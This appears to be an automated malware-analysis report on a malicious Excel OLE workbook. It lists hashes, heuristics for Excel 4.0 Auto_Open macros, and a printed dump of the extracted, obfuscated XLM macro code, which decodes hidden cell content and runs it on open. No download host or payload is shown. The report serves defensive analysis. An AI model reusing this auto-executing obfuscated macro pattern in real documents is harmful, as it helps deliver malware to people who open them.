Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 635f07941b083edd…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:40:59 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 5092cdcd2c79cacca713c5e217c18a9d SHA-1: 079e6db81a82873c39cf90ad4350c7dd87d52756 SHA-256: 635f07941b083edd117f2a18bc3ea6b10bc6a3fddfc76ad066ae3b736b76fe98
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6680 bytes
SHA-256: 13cba3bd6b93e7ba92ea825f5b2c631283918a41a03caf1ebecb042d2d444400
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ulbJgPUiSmE
' 0018     21 LABEL : Cell Value, String Constant - akAajN len=0 
' 0018     25 LABEL : Cell Value, String Constant - ALvZYUsdgg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D182 
' 0018     25 LABEL : Cell Value, String Constant - awOkrVpRpO len=0 
' 0018     22 LABEL : Cell Value, String Constant - kSHIowR len=0 
' 0018     26 LABEL : Cell Value, String Constant - KvKOVtfRGmN len=0 
' 0018     21 LABEL : Cell Value, String Constant - LXMvhg len=0 
' 0018     26 LABEL : Cell Value, String Constant - NcROElrSMid len=0 
' 0018     23 LABEL : Cell Value, String Constant - NoNndGjw len=0 
' 0018     26 LABEL : Cell Value, String Constant - OkzGnhmJEKL len=0 
' 0018     21 LABEL : Cell Value, String Constant - OSCyVW len=0 
' 0018     25 LABEL : Cell Value, String Constant - PhoOaONBwa len=0 
' 0018     27 LABEL : Cell Value, String Constant - QkVJGdqUxmrU len=0 
' 0018     23 LABEL : Cell Value, String Constant - RhFYIVnl len=0 
' 0018     25 LABEL : Cell Value, String Constant - SzrnkTZUhK len=0 
' 0018     23 LABEL : Cell Value, String Constant - uVmVegxd len=0 
' 0018     24 LABEL : Cell Value, String Constant - uZbRkxynV len=0 
' 0018     21 LABEL : Cell Value, String Constant - VMNGVZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - wpfoyGESjbvj len=0 
' 0018     24 LABEL : Cell Value, String Constant - WWpcSroIN len=0 
' 0018     23 LABEL : Cell Value, String Constant - XUnKRZxw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ulbJgPUiSmE,D91,"SET.NAME("uZbRkxynV",VALUE("0"))",""
'  ulbJgPUiSmE,D96,"SET.NAME("akAajN",uZbRkxynV)",""
'  ulbJgPUiSmE,D101,"SET.NAME("OSCyVW",uZbRkxynV)",""
'  ulbJgPUiSmE,D103,"SET.NAME("XUnKRZxw",COUNTA(QkVJGdqUxmrU))",""
'  ulbJgPUiSmE,D106,"SET.NAME("NoNndGjw",COUNTA(awOkrVpRpO))",""
'  ulbJgPUiSmE,D109,[],""
'  ulbJgPUiSmE,D114,"SET.NAME("SzrnkTZUhK","")",""
'  ulbJgPUiSmE,D118,"akAajN",""
'  ulbJgPUiSmE,D120,"SET.NAME("KvKOVtfRGmN",HLOOKUP("*",QkVJGdqUxmrU,akAajN,FALSE))",""
'  ulbJgPUiSmE,D124,"uVmVegxd",""
'  ulbJgPUiSmE,D129,"SET.NAME("PhoOaONBwa",uZbRkxynV)",""
'  ulbJgPUiSmE,D131,[],""
'  ulbJgPUiSmE,D136,"PhoOaONBwa",""
'  ulbJgPUiSmE,D140,"OkzGnhmJEKL",""
'  ulbJgPUiSmE,D145,"ALvZYUsdgg",""
'  ulbJgPUiSmE,D147,"VMNGVZ",""
'  ulbJgPUiSmE,D150,"SET.NAME("LXMvhg",VALUE(HLOOKUP("*",awOkrVpRpO,VMNGVZ,FALSE)))",""
'  ulbJgPUiSmE,D154,"RhFYIVnl",""
'  ulbJgPUiSmE,D156,"SzrnkTZUhK",""
'  ulbJgPUiSmE,D160,"OSCyVW",""
'  ulbJgPUiSmE,D163,NEXT(),""
'  ulbJgPUiSmE,D165,"NcROElrSMid",""
'  ulbJgPUiSmE,D170,"SET.NAME("f",INT(T(FORMULA(T(SzrnkTZUhK)&"",""&T(NcROElrSMid)))))",""
'  ulbJgPUiSmE,D173,"wpfoyGESjbvj",""
'  ulbJgPUiSmE,D176,NEXT(),""
'  ulbJgPUiSmE,D179,RETURN(),""
'  ulbJgPUiSmE,D206,"SET.NAME("WWpcSroIN",D91)",""
'  ulbJgPUiSmE,D210,"QkVJGdqUxmrU",""
'  ulbJgPUiSmE,D213,"SET.NAME("awOkrVpRpO",R40C14)",""
'  ulbJgPUiSmE,D216,"SET.NAME("wpfoyGESjbvj",224)",""
'  ulbJgPUiSmE,D219,"SET.NAME("kSHIowR",4)",""
'  ulbJgPUiSmE,D223,WWpcSroIN(),""
'  ulbJgPUiSmE,D224,HALT(),""